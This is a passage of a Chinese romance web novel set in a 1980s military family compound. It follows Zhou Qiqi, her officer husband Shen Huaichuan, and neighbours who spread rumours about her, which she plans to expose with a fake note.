“你是我媳妇,我当然相信你。” 沈淮川的声音低沉而笃定,像根稳稳扎进土里的桩子,任外头风雨再大,也叫人无端心安。 周柒柒鼻尖萦绕着他身上熟悉的肥皂香,不知怎的,身上的尖刺一下子就软了,心里泛起了酸意。 “那你一直皱着眉干什么?看起来怪凶的...” 她伸手轻轻点了点他紧蹙的眉峰,声音委委屈屈的,像是小猫在叫。 沈淮川被她指尖触碰,眉心下意识松开,可耳尖却腾得染上红晕。 他别开脸轻咳两声,喉结滚动着强装镇定。 “我只是怀疑,你偷懒没训练,不然怎么那么容易就又扭伤了...” “咳咳...这个问题...咱们先不谈。” 周柒柒没想到他忽然说这个,有点心虚,赶忙咳嗽了两声,眸光一转,忙不迭把话头拽回来。 “刚才周主任说了那么多,你就一点儿也不好奇?你可以问问我,我都可以解释的。” 沈淮川十分干脆地摇了摇头,下颌线条绷得笔直。 “没什么好问的,她对你有偏见,她说的话,我一个字都没听。” 只是周淑华到底是他师母,出于礼貌,所以不得不敷衍几句。 “真的?一个字没听进去?” 周柒柒抬眼,睫毛上还沾着未干的水光。 沈淮川目光沉沉地对上她,认真而笃定。 “我不会骗你。” 周柒柒没憋住,“噗嗤”一下乐了,刚才周淑华的茶言茶语可是把她气坏了。 尤其是那句——“其实只要你日子过得好,师母受点委屈没关系。” 整得跟个苦情婆婆似的。 她趴门缝看了,那语气,那神态,还有听到沈淮川“嗯嗯”回应后的那股得意劲儿。 估计以为沈淮川会听她的撺掇,好好教训自己。 要是被她知道沈淮川压根没往心里去,保准气得跳脚。 不过,不管沈淮川好奇不好奇,周柒柒还是觉得,这种容易误会的事,自己还是应该解释一下。 这会儿,她心里一点气恼都没有了,这才后知后觉,发觉她和沈淮川的距离那么近,近得呼吸可闻,肌肤相贴。 沈淮川的脸红得都可以滴血了,唇上的干皮显得尤为苍白,想来是奔波太久没顾上喝水。 她赶忙提议道。 “要不,你先把我放下?” 她轻推他胸膛。 “我要说的话可不少,二三十分钟都打不住,你哪能一直抱着?坚持不住的。” 听到这话,沈淮川手臂骤然收紧,嗓音压得更低。 “你可以试试。” “下次吧。” 周柒柒随口应着,没瞧见男人眼底暗下去的光。 “好。” 沈淮川眸光微动,应得认真,然后小心翼翼地把她放在床边坐下。 周柒柒还想起身,“我给你倒杯水,煮点挂面,你边吃边听。” 沈淮川把她按回床边,自己去倒了杯水。 “我回来路上吃压缩饼干了,你说吧,我听着。” “好。” 压缩饼干? 那玩意儿是人吃的吗? 周柒柒皱了皱眉,眸子转了转。 不过随即还是点了点头,按着自己的视角,把雷鸣的事儿从头到尾说了一遍。 说完就撇了撇嘴。 “总之,就是这样,不管怎么说,雷鸣也救了我两次,我还说等你回来了,邀请他来咱们家吃饭呢,现在看周主任这么不喜欢我,请吃饭的事情还是算了,过几天我去做生意的时候,去百货大楼顺便给他买一身西装好了,挑最贵的买。” 周柒柒的性格是有仇必报,有恩双倍报。 不过她也有点小纠结,咬着下唇说道。 “就是不知道他穿多大码,我还真没仔细看过他,要是不行还得来回换。” 沈淮川听的过程中,脸上一直没什么表情,这会儿听她这么说,眼皮抬了抬,提议道。 “明天我得去军区汇报工作,我去买吧,顺路。” 周柒柒眉头一皱。 “顺路吗?我怎么记得,完全是两个方向来着。” “你记错了。” 沈淮川眼睛眨都不眨,一脸的笃定。 “哦,好吧。” 周柒柒也没怀疑,沈淮川接着安排道。 “至于请吃饭,不用担心周主任,该请就请,他毕竟是你的救命恩人,正好也我想见一见他,当面好好跟他说一声‘谢、谢’,我来安排。” “也行。” 周柒柒点了点头,她正好嫌麻烦呢。 说完这事,沈淮川就烧水洗澡去了。 洗完澡顺便去看了看舟舟。 舟舟穿着一件和周柒柒一样布料的睡裙,头发是整整齐齐的麻花辫,小脸蛋干干净净的,带着点婴儿肥,白里还透着红,看着居然比她走之前,胖了一点。 一看就被照顾得很好。 沈淮川看了一眼周柒柒的方向,心里一片柔软,坐下跟舟舟说了会儿话。 虽然他带孩子很糙,但是每次出门后,都会仔细地和舟舟说清楚自己做什么去了,不让她伤心难过。 当然,只是他一个人说,舟舟就只是坐在桌边,单纯地听着,偶尔眨一眨眼,大眼睛里没什么太多的情愫。 这些他已经习惯了。 说完之后,他嘱咐舟舟洗漱完早点休息,就准备回屋,没想着舟舟会给他什么回应。 却没想到,小女孩却忽然拉住他的手,让他坐下。 然后自己回到桌边,抽出一张素描纸,提笔就画了起来。 五分钟后,一张简单的“画”就被描绘了出来。 这张画,笔触简单,潦草,稚嫩,甚至可以说,有点抽象,但却莫名传神。 歪斜的灰山、扭曲的蓝水,倾倒的黑屋子旁,小人蜷着身子哭泣,远处几个戴着五角星帽子的身影正疾步奔来。 沈淮川手指微微发颤,声音都带了几分颤意:“你画的,是叔叔在救灾?” 第47章 送他睡衣 舟舟抿着唇,有些不好意思地点了点头,纤细的手指将笔攥得紧紧的。 “画得很好,叔叔很喜欢。” 沈淮川目光柔和,声音低沉而温暖。 听到沈淮川的夸奖,舟舟明显雀跃起来,嘴角轻轻上扬,虽然只是浅浅的一个弧度,却让整张小脸都生动了几分。 这还是舟舟第一次在沈淮川面前毫不掩饰自己的情绪。 之前,爸妈整天为舟舟的病情忧心忡忡,想尽办法却始终找不到合适的治疗方法,孩子也跟着遭罪。 可柒柒来了还不到一个月,舟舟竟然露出了笑容。 他觉得,这全都是周柒柒的功劳。 她好像就是有一种魔力,能够让人情不自禁地开心起来。 沈淮川心头一暖,情不自禁地伸手,轻轻揉了揉小丫头的脑袋。 回到屋子里,周柒柒正坐在缝纫机前面忙活。 “不是让你躺着别动的吗?刚上了药。” 周柒柒晃了晃脚丫子,“没事,不疼了。” 沈淮川用草药自己捣鼓的民间土药膏,比医院给开的西药软膏的好用多了。 涂上去之后冰冰凉凉的,再配上他独家的按摩手法,不一会儿就不疼了。 “再说了,我就是缝个扣子,包个边而已。” 说着,她动作利落地剪断了线头,扬手将衣裳递给沈淮川。 这是之前她给沈淮川做的那套睡衣,扣子因为抓小偷,没买到合适的。 她这会儿闲着没事,索性用做睡裙剩下的布料,缝了一套白色的布包扣,再把领口和衣沿、口袋全都配上白色包边。 “诺,你试一下。” “好。” 沈淮川应了一声,接过衣服放在一边,直接就开始脱背心,古铜色肌理随着动作起伏。 周柒柒脸“唰”的一下就红了,赶紧抬手挡住眼睛,不过两秒钟之后,还是忍不住悄咪咪拔开个缝。 想着时间差不多,该脱到裤子了吧。 却没想到沈淮川训练有素,才短短两秒钟,上上下下都换好了。 不得不说,沈淮川的身材真的很不错,就算上穿着宽松的睡衣,依旧能让人一眼就看出宽肩窄腰。 周柒柒一计不成,再生一计。 咬着下唇,睫毛扑闪,关切地问道。 “怎么样,尺寸合适吗?要是觉得哪里不舒服的话,现在脱下来,我现场帮你改...” 沈淮川却是直接摇了摇头。 “到处都很合适,没什么不舒服的。” 周柒柒眼光独到,明明没给他量过尺寸,衣服却做得十分合身。 沈淮川很喜欢,只是... “这里...” 他指了指胸口口袋的位置,耳尖泛起一抹红晕。 那里缝着几只白白胖胖的小奶瓶,奶瓶周围,还围着一圈盾牌。 “怎么了?不可爱嘛?” 柒柒反问了一声,捂住嘴偷笑。 这可是她之前为了“报复”沈淮川特意缝上去的。 “可爱,就是感觉不太适合我,能不能...换个图案?” 他好歹是个团长,要是被人看见穿缝着奶瓶的睡衣,面子可往哪儿搁? “哎呀,有什么不适合的?反正只是在家睡觉的时候穿,不会有人看见的!” 沈淮川还想争辩几句,可看到周柒柒扁着嘴巴,满脸委屈的模样,赶忙点头. “行,随你吧。” 眼看着时间不早了,周柒柒也去洗澡间洗漱了一下。 她脚受伤了,没办法淋浴,只是简单擦洗了一下,洗完就赶紧让舟舟也去洗澡。 不到一分钟的工夫,沈淮川又把她脱在里面的衣服拿出去洗了。 有了上次的经验,周柒柒这次倒没有害羞得那么厉害了。 反正沈淮川洗得挺干净的。 她都受伤了,索性也做一回太上柒呗,淮川洗得好,就让淮川洗! 沈淮川洗完衣服,差不多熄灯了。 躺下的时候,顺手把舟舟的画给周柒柒看了看。 “画得确实不错。” 就着月光,柒柒手指抚过那些小孩涂鸦的笔触,眼睛也亮晶晶的。 “不过怎么只有你的,没我的呢?” 她语气酸溜溜的,听起来倒像是吃醋了。 “我明天跟舟舟说,让她也给你画一幅。” 柒柒连忙摇头,脑袋摇得像拨浪鼓。 “别,我才不想要呢!一幅画而已,有什么稀罕的,她爱给谁画给谁画呗...” 嘴上这么说着,她的手却紧紧抓着那幅画,眼巴巴地瞅着,始终舍不得还给沈淮川。 沈淮川看着她这副模样,忍不住轻笑出声。 “也许她早给你画了,我看她右边那个扣着的抽屉里,有好几张已经画好的,等她上学了,你可以抽空去看看。” 周柒柒立刻转过身,一脸严肃地将画递给沈淮川。 “不行!人家关上抽屉,就是不想被人看见,小朋友也有隐私的好不好?别说你是她亲叔叔,就算是她亲爸亲妈,也不能看!知道了嘛?” “好,我不看就是了。” 沈淮川很少看她这么认真,一时有些发愣。 不过很快就点了点头,接着提议道。 “我看舟舟挺喜欢画画的,以后周六日就不带她去针灸了,可以给她找个画得好的老师,专门学画画,你看怎么样?” “好啊,我也觉得挺不错,你可以...” 周柒柒说着说着,声音越来越小。 沈淮川还等着她继续说下去,扭头一看,却见她已经闭上了眼睛,被子不知何时滑落到了腰间。 也是,她今天又度过了惊心动魄的一天,又是卖衣服又是抓小偷的,还受了伤,估计早就累得不行了。 沈淮川伸手想去帮她掖好被子,准备自己也铺被睡觉。 没想到刚一碰到被子,她就皱了皱眉,翻了个身,小腿一伸,直接压在了沈淮川的腰间。 她今天穿的睡裙本就只到膝盖,睡觉得往上一蜷缩,裙摆卷到了大腿根,大片肌肤暴露在外,紧贴着沈淮川。 沈淮川轻轻推了推她,想让她挪开。 她却迷迷糊糊地嘟囔了句“疼”,小腿胡乱动了几下,又往下移了一寸。 再往下,可就... 沈淮川只觉一股热气直往上涌,浑身紧绷,一动都不敢动。 他小心翼翼地把脚边的被子挪过来,轻轻给周柒柒盖上。 周柒柒睡得很香,他却怎么也睡不着。 第48章 风言风语 这一晚,沈淮川直挺挺地躺在床上,一动都不敢动,每一秒都像是被文火慢煎,好不容易熬到了五点半。 他刚撑起身子,身旁的周柒柒便迷迷糊糊地睁开眼,声音软糯糯的。 “你做什么去?” “我去给你打羊奶。” 沈淮川声音沙哑。 周柒柒还在半梦半醒之间,意识完全不清醒。 下意思伸手拽住他的衣角,往自己身边拉了拉,嘴里嘟囔道。 “不用了,我舍不得你辛苦,雇了个拉驴车的嫂子,让她帮着往返大兴村取奶,咱们再睡会儿。” 说完,就翻过身,终于将压在沈淮川身上的小腿收回去,发出了均匀的小呼噜声。 沈淮川僵着身子,喉结动了动,眼睛怎么也闭不上,脑子里全是她那一句。 “我舍不得你辛苦。” 等到早上八点,沈淮川踏入市军区会议室时,眼下一片乌青,整个人透着疲惫,连身上的军装都显得有些没精神。 “沈团长,前几天执行任务的时候都没见你这样,这是怎么了?病了吗?” 眼尖的二团团长立马围过来,脸上满是关切。 “这你就不懂了,沈团长才刚结婚没多久,这新婚夫妻嘛,小别胜新婚,昨晚肯定没睡好~~” 不等沈淮川回答,就有几个年轻军官挤眉弄眼,笑着打趣。 “哦~~~原来是这样,我听我媳妇说过,沈团长媳妇,好看得不得了,穿一身红裙子,像朵玫瑰花似的!” 众人纷纷跟着起哄,会议室里满是调笑的声音。 “沈团长可是好福气啊!” “是啊...” 沈淮川难得没有板着脸,唇角甚至还带了点若有若无的笑意。 大家以往可从来没见这尊“活阎王”笑过,更是对周柒柒更多了几分好奇与好感。 突然,一声不大不小的调侃打破了会议室的祥和的气氛。 “家里养了朵玫瑰是好事,就怕这玫瑰开得太艳,爬到墙上去招蜂引蝶...” 说话的人,是保卫科科长廖爱民,也就是李红娟的爱人。 沈淮川脸色瞬间阴沉下来,眼神如淬了冰,冷冷地扫向廖爱民。 “廖科长,你这是什么意思?” 廖爱民被他的眼神吓得瑟缩了一下,声音不自觉地小了几分。 “没什么意思,我只是想提醒一下沈团长,好好管管媳妇,有些事你不知道,别稀里糊涂地被人...” 他昨晚知道了些事情,本意是想提醒沈淮川,其实没想和他发生冲突。 却没想到,话都还没说完,就被沈淮川厉声打断。 “闭嘴!” 沈淮川一掌重重拍在会议桌上,“砰”的一声震得桌上的搪瓷缸子嗡嗡作响,会议记录本“啪”地飞出去半米远。 他豁然起身,军装下摆带起一阵风,周身散发的冷冽气场让在场所有人都屏住了呼吸。 “廖科长,我不管你知道什么,猜测什么。我沈淮川的媳妇,还轮不着你来阴阳怪气!” 沈淮川可是军区里的活阎王,连续几年的军区全能第一,首长眼中的大红人,未来的前途不可限量。 廖爱民哪儿敢惹他啊,顿时悻悻得什么都不敢说了。 可沈淮川能震慑住军区里男人的嘴,却拦不住军属区嫂子们乱嚼的舌头跟。 这一早上,军属区里风言风语传得沸沸扬扬。 邓翠香早上路过中间广场的大树,就听到好几伙聚在一起择菜的嫂子们议论纷纷,嘴里念叨着周柒柒的名字。 她想知道她们在说什么,凑过去想打听。 但那些人知道她和周柒柒关系好,一看到她靠近,立马就闭上了嘴,只闷头择菜。 这可把邓翠香急坏了,她想来想去,想了个法子。 那就是换身不起眼的衣服,跑去茅房里蹲着。 蹲了整整一个小时,脚都蹲麻了。 终于断断续续从那些军嫂嘴里把事儿听全了。 中午送孩子去上学之后,她赶紧赶着去周柒柒家给她送信儿去了。 邓翠香敲门的时候,周柒柒正在厨房里忙活呢。 之前秦磊跟他透得底儿,说是沈淮川最喜欢吃炸油饼了。 沈淮川出任务几天,估计吃的都是压缩饼干。 周柒柒昨晚上没说,但早就想好了,今天下午给他做炸油饼吃。 上次做了纯发面版本的,这次她准备做个不一样的。 这是之前她打工的早餐摊老板娘教的,添加一半烫面,做出来的油饼,中间是蓬松的大空心,吃起来焦香酥脆,外焦里软。 这会儿她刚烧好了一锅热水,开始做烫面剂子。 她挽起袖口,将滚烫的热水缓缓浇在面粉上,竹筷快速搅动,氤氲的热气模糊了她专注的眉眼。 她在这边慢悠悠地揉面,邓翠香在一边心急火燎,叭叭叭地说着。 “那些人说,是你勾引雷鸣,才破坏了李红娟她妹妹的相亲!” “说是有人亲眼看见,你从雷鸣的车上下来的!” “还有人说,前几天下大暴雨,看见雷鸣在雨里跑步,一边跑一边喊七!” 前两天李红娟到处发糖,把这事儿闹的沸沸扬扬的,关注的人本身就多。 又添上这种八卦,瞬间就传的到处都是。 ...... 周柒柒听得哑然失笑。 怪不得刚才她去外头摘花椒叶的时候,那些军嫂看她的眼神都怪怪的,原来是在传她的八卦呢! 这些人也太能瞎编了,说得跟真事儿似的! 不去写小说都可惜了! 还喊七,怎么不说他在雨里唱歌呢! “就让这大雨全都落下...” 邓翠香说得口干舌燥,急得像热锅上的蚂蚁,回头一看周柒柒这反应,瞪大了眼睛。 “柒柒,你这是什么反应啊,难道他们说的是真的,你真的和雷鸣...?” 周柒柒手上的动作顿了顿,随即噗嗤笑出声。 她将面团摔在案板上,揉出“砰砰”的声响。 “翠香姐,你想什么呢?” 她一边熟练地将面团分成小块,一边把昨晚的事儿娓娓道来。 邓翠香皱着眉头思索。 “难道这事儿是周主任误会了,传出去的?” “怎么可能?” 周柒柒将揉好的面团盖上湿布,眼神清亮。 “周主任读过书,是个知识分子。她看不惯我,可顶多就是跑过来打打嘴炮,跟沈淮川告告状。传谣言这种阴间的事儿,她干不出来。” 邓翠香急得直跺脚。 “那这话,是谁传出去的?” 第49章 柒,有一计 “还能有谁?” 周柒柒唇角微勾,朝着隔壁院子扬了扬下巴,语气里带着几分嘲讽与无奈。 还不就是隔壁的邱春芳吗? 说起两人的纠葛,那可就深了。 第一次是周柒柒来随军的路上,她点了一块二毛五的火车餐,邱春芳就对她横挑鼻子竖挑眼的,当着一车人的面骂她奢侈浪费。 不过最后,邱春芳被她狠狠怼了一顿,还被乘警逮去问话。 第二次,周柒柒好不容易来到军属区,来接她的又是邱春芳,非一口咬定她不是沈淮川的媳妇,害得她差点被关禁闭。 好在她伶牙俐齿,当场回怼,让邱春芳在保卫科众人面前丢尽了脸面。 第三次,就是盖厕所那事儿了,邱春芳仗着自己家是通管道的必经之路,想着狠狠拿捏周柒柒一顿,顺道从周柒柒身上赚点钱。 却没想到,周柒柒另辟蹊径,邱春芳不仅一分钱没捞着,还落了个损人不利己的名声,背地里没少遭人非议。 就这三次,就够邱春芳恨上她的了。 在此期间,更是没少在背后传周柒柒的闲话。 这一个礼拜,她表面上收敛了一些。 可周柒柒总能在不经意间,瞥见她鬼鬼祟祟地隔着门缝张望,眼神中满是不怀好意。 昨晚周主任来找她兴师问罪时,她一时疏忽,估计就被邱春芳听了墙根。 这不,邱春芳立刻跑去跟李红娟告状了。 这位李红娟也不是什么省油的灯。 本来就因为周柒柒和朱莹莹走得近,不太待见周柒柒。 这下在邱春芳的添油加醋下,也直接认定是周柒柒勾搭了雷鸣,才害得她没能攀上雷政委家这个亲戚。 这两个军属区的刺儿头一联手,不到一天的时间,各种风言风语就像长了翅膀似的,传遍了整个军属区。 邓翠香听完,气得脸色涨红,撸起袖子就要去找人理论,眼神里满是怒意。 “这俩人,简直太过分了!走,我帮你找她理论去!” 她大步往前迈,一副要去拼命的架势。 虽然她和周柒柒相识不过小半个月,可早已把周柒柒当作自家人,容不得她受半点委屈。 周柒柒赶忙伸手拦住她。 “翠香姐,别这么激动,她们在背后传闲话不是一次两次了,咱们这么去找她理论,她肯定不会承认的!” 邓翠香急得直跺脚,脖子上的青筋都冒了出来。 “不承认那也得骂她几句,总不能就这么让她白白污了你的名声吧?你放心,姐姐我帮你骂!我就不信骂不过她!” 她胸脯剧烈起伏,眼神中满是不服气。 开玩笑,她邓翠香可是吃辣椒长大的,从小到大还没人呛得过她。 “翠香姐,你冷静下来听我说。” 周柒柒轻轻摇晃着邓翠香的肩膀,神色认真。 “她该传的谣言已经都传出去了,家属院正传得沸沸扬扬的,就等着看热闹呢,我这么去找她吵,就算吵赢了,别人也会觉得我是丑事被揭穿,恼羞成怒,更没什么好名声了!” 邓翠香愣了愣,她刚才是被愤怒冲昏了头脑。 现在冷静下来一听,不得不承认,周柒柒说得在理,真不能去。 她瞬间泄了气,却还是满脸不甘心。 “那咋办?难道真吃了这个哑巴亏?” 周柒柒坚定地摇了摇头,眼神中闪过一丝狡黠。 “怎么可能?我周柒柒可不是那种人!” 她低头看着盆里逐渐膨胀的油饼剂子,陷入沉思。 片刻后,她眼睛一亮,凑到邓翠香耳边,小声说了起来。 说着,便是将嫣红的小嘴附在邓翠香耳边,小声嘀咕起来。 邓翠香原本还满脸愁容,听着听着,嘴角就忍不住上扬,眉眼都跟着舒展了。 可随即,她又有些担心,皱着眉头问:“能行吗?” 周柒柒挺直腰板,脸上满是得意。 “怎么不行?就是得需要翠香姐和莹莹一起帮帮忙。” 她又凑近邓翠香,小声叮嘱了几句,邓翠香听得连连点头,像捣蒜一样。 “没问题,这点小事,包在我身上!” 说完,她就急匆匆地去隔壁把朱莹莹叫了过来。 三个女人围坐在院子里,叽叽喳喳地讨论了许久。 她们时而低头私语,时而拍手大笑,最后终于敲定了一个计划。 这么会子工夫,天色已经不早,差不多五点半了。 周柒柒这次和的面多,索性全部都炸了出来,让邓翠香和朱莹莹一人带一份回去。 省得两人这么晚了,再去做(买)饭了。 她熟练地揉面、擀面、下油锅,不一会儿,一个个金黄酥脆、空心饱满的油饼就出锅了,油炸的香气飘荡在了军属院的上空。 她又准备了荤素搭配的配菜,荤菜是薄切的五花肉,在平底锅里煎得滋滋作响,焦香酥脆的。 素菜则是从自家后院摘的红薯苗。 一个多礼拜前,翠香姐才帮她栽的苗,这会儿已经长得嫩绿鲜嫩,和蒜末一起翻炒,正好解腻。 邓翠香美滋滋地端着一份油饼往家走,一路上,不少正聚集在大树底下择菜闲聊的军嫂都看见了。 她们的目光一下子被吸引过来,有人忍不住咽了咽口水,羡慕地说。 “我瞅着是从沈团长家端出来的,她家每天都吃那么好!这油饼可费油!这是炸了多少啊?” 立刻有军嫂撇了撇嘴,语气酸溜溜的。 “你要羡慕,你也去当狐狸精去!到处勾搭男人,也能吃那么好!” 这句话就像一颗石子投进了平静的湖面,瞬间激起千层浪。 几个军嫂立马围在一起,小声议论起来。 “都听说了吧?怪不得天天买肉买菜的,又没人在采买车上碰见她进城,合着坐的是雷政委家的大汽车...” “看不出啊,这周柒柒表面上看起来文文静静的,私底下居然干这种勾当,真够不要脸的!” “这沈团长和雷鸣眼睛都瞎了吗,怎么都被这狐狸精勾了魂了?” “谁说不是呢?要不是邱嫂子瞧见了,咱们都还不知道呢!” 她们一边说,一边摇头叹气,眼神中满是鄙夷。 第50章 死丫头,玩得还挺刺激的 而此时,众人不远处,邱春芳和李红娟也正结伴从茅房回来。 听到几个军嫂叽叽喳喳的议论声,邱春芳原本耷拉的眼皮瞬间挑起,嘴角勾起一抹意味深长的弧度,眼中闪烁着幸灾乐祸的光。 “狐狸精,就该被人这么骂!” 自从周柒柒搬到家属院,住在她隔壁,她就没过过一天安生日子。 从前她在家属院,多少也算有点威望。 可如今,她竟然被军嫂们指着鼻子骂,还见天地被自家男人嫌弃做饭手艺差。 日子过得,憋屈得不得了。 而李红娟更是如此了。 她自己不得已嫁了个鳏夫,就想让妹妹嫁个好人家。 本以为能和雷政委家攀上亲戚,没想到居然被周柒柒破坏了。 她对周柒柒的厌恶丝毫不在邱春芳之下。 李红娟眼神阴狠,凑到邱春芳耳边说道。 “春芳姐,你住得近,盯着点,她不让咱们好过,咱们也不能让她好过!” “好!” 邱春芳斗志昂扬地点了点头。 回到家后,邱春芳一门心思都放在了盯着周柒柒家上。 饭随便切点咸菜疙瘩就对付过去了,孩子哭得嗷嗷叫,她也充耳不闻。 满脑子就想着挖出周柒柒的黑料,让她在家属院彻底翻不了身。 为此,她还专门从李红娟家借了个旧梯子,靠到两家相邻的墙边上,小心翼翼地爬上去听周柒柒那边的动静。 没想到,还真被她给蹲到了点蛛丝马迹。 一连好几天,周柒柒都没怎么出门,但邓翠香和朱莹莹可没少来。 三个人不知道因为什么事儿,发生了点争执,吵了好几次架,而且话里话外,还提到了雷鸣的名字。 周四下午,孩子们刚去上学,朱莹莹就急匆匆地跑到周柒柒家。 这一幕,被邱春芳瞧得清清楚楚。 只见周柒柒在院子里神神秘秘地递给朱莹莹一张字条,脸蛋泛起一抹红晕,还轻声说出了雷鸣的名字。 说完后,两人扛着锄头就往后院的菜地走去,随手把放着字条的外套挂在了墙边的晾衣绳上。 邱春芳的心一下子提到了嗓子眼,机会来了! 她顾不上多想,顺着梯子爬上墙头,探出大半个身子,颤巍巍地用自家晾衣杆,费了好大劲儿才把外套勾了过来,迫不及待地从里面掏出字条查看。 刚看完,还来不及高兴呢,就听到后院传出一阵重重的脚步声。 她脸色瞬间变得煞白,手忙脚乱地用晾衣杆把外套挂回去,慌慌张张地爬下梯子。 由于太过着急,脚下一滑,整个人从梯子上摔了下来。 “咚”的一声,屁股重重地着地,梯子也跟着倒了下来,结结实实地压在她身上。 “哎呦!” 邱春芳疼得眼泪在眼眶里打转,刚想挣扎着起身,就听到墙那边传来周柒柒的声音。 “莹莹,你有没有听见什么动静啊?细细簌簌的,好像是从隔壁传过来的?该不会是邱婶子家进贼了吧?我们要不要过去看看?” 邱春芳做贼心虚,吓得大气都不敢出,双手死死捂住嘴巴,一动也不敢动,更不敢去挪开身上的梯子。 还好,过了两分钟,朱莹莹十分不及时地回应道。 “咱们这家属区怎么可能进贼呢?可能是老鼠吧?” “啊?老鼠?不会吧,那种东西不是只会在下水道,阴沟那种地方吗,怎么会出现在咱们家属区呢?我感觉还是得去隔壁看看!” 周柒柒的声音里透着担忧,邱春芳吓得出了一身冷汗。 “别管了,柒柒,我先走了,趁着这会儿外面没什么人,我去把字条给你送过去。” “行吧...” 听着两人渐渐远去的脚步声,邱春芳疼的眼泪终于掉了下来。 但她强忍着痛,咬着牙把梯子挪到一边,一瘸一拐地往李红娟家走去。 半个小时后,在李红娟家的客厅里,邱春芳龇牙咧嘴,额头上还冒着冷汗,把事情一五一十地说了出来。 “真的??” 李红娟瞪大了眼睛,满脸的不可置信,手中的针线活猛地停下,差点扎到自己。 邱春芳重重地点头,急切地说道。 “可不,我看得真真的!朱莹莹就是进了周主任家了,你不是说,昨晚你老公看见雷鸣回来了吗,她这是卡着时间去给雷鸣送字条去了!” 李红娟皱着眉头,眼神中满是怀疑。 “字条上的字,你确定你看清楚了?你大字都不认识几个,别是看错了吧?!” 邱春芳挺直了腰板,一脸自信。 “看不错!那字条的字虽然写得歪歪扭扭的,但上面画着图呢!清清楚楚地标着时间地点,就是约雷鸣明天晚上九点钟,在广场后面的小树林里见面呢!” “画图?” 李红娟先是眉头紧锁,随后又舒展开来,嗤笑一声。 “对了,差点给忘了,那个周柒柒也是个乡下人,估计也没上过学,不认识几个字,那应该没错了。” 邱春芳连连点头。 “没错,而且她还真会挑时间,明天晚上咱们家属院组织放电影,到时候所有人都去看电影,没人会注意到她。” “不要脸的小狐狸精!” 李红娟气得直翻白眼。 “家里一个沈团长还不够,还勾搭雷鸣去小树林,死丫头,玩得还挺刺激的...” 她眼珠子滴溜溜一转,嘴角勾起一抹阴笑。 “她既然这么喜欢刺激,咱们就让她更刺激一点!到时候咱们也过去凑凑热闹!” 邱春芳眼中闪过一丝兴奋,猛地一拍大腿。 “行!到时候咱们多叫几个嫂子一起去看热闹,让她丢个大丑!看她以后还能不能嚣张的起来,到时候估计沈团长都得跟她离婚!” 心里藏着事儿的时候,时间过得格外的快。 周五晚上七点,放映队开始在广场上布置仪器,军属院里的军嫂们早早就带着孩子来占座。 在八十年代,娱乐活动本就不多,军属区没几户人家有电视,每月一次的电影放映,成了大家最期待的娱乐活动。 邱春芳也不例外,不过她早早就把孩子打发着去一边玩。 把相熟的军嫂招呼到身边,一边醒着鼻涕,一边压低声音,神神秘秘地说了些什么。 第51章 男人都是贱皮子 这会儿时间还早,才七点十几分,孩子们都在广场的空地上疯跑玩闹。 十几个来得早的军嫂聚在一起,一边磕着瓜子,一边叽叽喳喳地聊着天。 众人将邱春芳和李红娟围在中间,听她们说待会儿有好玩的,有两个年轻的忍不住好奇地开口。 “什么好玩儿的?神神秘秘的...” 其中一个微微探着身子,语气里满是期待。 另一个也跟着附和。 “是啊,邱婶子,红娟,你们倒是说清楚啊,哪有这话只说一半的?勾得人心痒痒的!” 周围的嫂子们也纷纷点头。 “可不是嘛?”“ 说一说啊...” 声音此起彼伏。 邱春芳嘴角勾起一抹神秘的笑容,眼角的皱纹都跟着弯了起来,她故意压低声音。 “现在可不能告诉你们,到时候就知道了!” 顿了顿,又带着几分得意说道。 “到时候你们跟着我去就行,绝对比电影好看多了~” 她这样藏着掖着,反倒让众人心中的好奇之火烧得更旺,一个个都伸长了脖子,恨不得立刻知道答案。 正说着话呢,远远地,周柒柒带着舟舟也过来了。 这些天她终于有空,给自己做了几件裙子。 今儿穿的是一身粉红色的针织连衣裙,剪裁得体,将她的身材勾勒得恰到好处。 这些日子生活滋润,吃胖了点,不像刚来家属院那样骨瘦如柴,肤色也白皙了许多,血气十足。 整个人透着一股明艳动人的气质,看起来像是朵娇滴滴的粉玫瑰。 身旁的舟舟,穿着与她同色系的小连衣裙,头发精心扎成了公主头,几缕碎发垂在脸颊两侧,可爱极了。 两人走在一起,画面温馨又美好,一出场,就吸引了在场所有人的目光。 军嫂们纷纷发出赞叹声。 “真好看,这身材,这脸蛋,怪不得沈团长宠得跟什么似的,不许任何人说她呢...” “我要是个男人,我也喜欢啊~” 夸赞声不绝于耳,听得邱春芳眉头直皱,她脸上满是不屑,撇了撇嘴。 “有什么好看的,一看就不是踏实过日子的好媳妇!” 李红娟眼神里更是充满了怨毒,恶狠狠地说道。 “男人都是贱皮子,被狐狸精一勾引,东南西北都分不清了!” 上个礼拜开会的时候,沈淮川当众在会议室里对她爱人,保卫科科长廖爱民发了火,一点儿情面没给留。 当时在场的人众多,这事儿根本瞒不住,这个礼拜已经在军属区传得沸沸扬扬。 廖爱民觉得颜面尽失,回到家就把气撒在了李红娟身上,狠狠骂了她一顿,说她乱嚼舌根,才害得自己挨骂。 李红娟便把这笔账算在了周柒柒头上。 这时,邓翠香眼尖,看到了周柒柒,赶忙挥舞着手臂,大声喊道。 “柒柒,舟舟,这边~” 她也早早到了广场。 不过没有和邱春芳她们凑在一起,而是选了靠边的位置坐下,还特意多带了三个马扎,帮柒柒、舟舟和莹莹占好了座位。 还没坐下呢,一个风风火火的小皮猴就窜了过来,小鼻子使劲儿嗅着,兴奋地问道。 “周阿姨,你又做了什么好吃的啊?我闻到味道了!好香啊!” 那副馋猫的模样,逗得众人忍俊不禁。 周柒柒轻轻点了点他的鼻尖,嘴角带着笑意。 “向阳,你以后当侦察兵好了,鼻子这么灵!” 说着,她打开身后的布包,取出一个大大的油纸包。 “这不是看电影嘛,阿姨在家做了点奶油爆米花,刚做好的,还热乎着呢!你尝尝,好吃不?” 向阳瞪大了眼睛,喉咙不自觉地吞咽了一下口水。 “奶油爆米花?” 大街上那些用黑炉子蹦出来的爆米花,他吃过不少,可从来没有闻过这么浓烈诱人的香味。 他迫不及待地塞了一个进嘴里,眼睛瞬间就亮起来了。 “哇撒,太好吃了!周阿姨,你怎么那么厉害!” 柒柒哑然失笑,这有什么好厉害的,就是舍得下料而已。 知道今天看电影,她特意让沈淮川去市军区的时候,顺路捎一罐子“熊猫牌”炼乳回来,炸爆米花的时候淋上去,这香味就出来了。 姜向阳吃得根本停不下来,他仰起头,眼神里满是崇拜与渴望。 “周阿姨,要不你当我妈妈吧?你家天天都有好吃的!” 邓翠香又好气又好笑,举起马扎就朝着他的屁股挥了过去。 “你个小没良心的,为了口吃的亲妈都不要了,皮痒了是不是?” 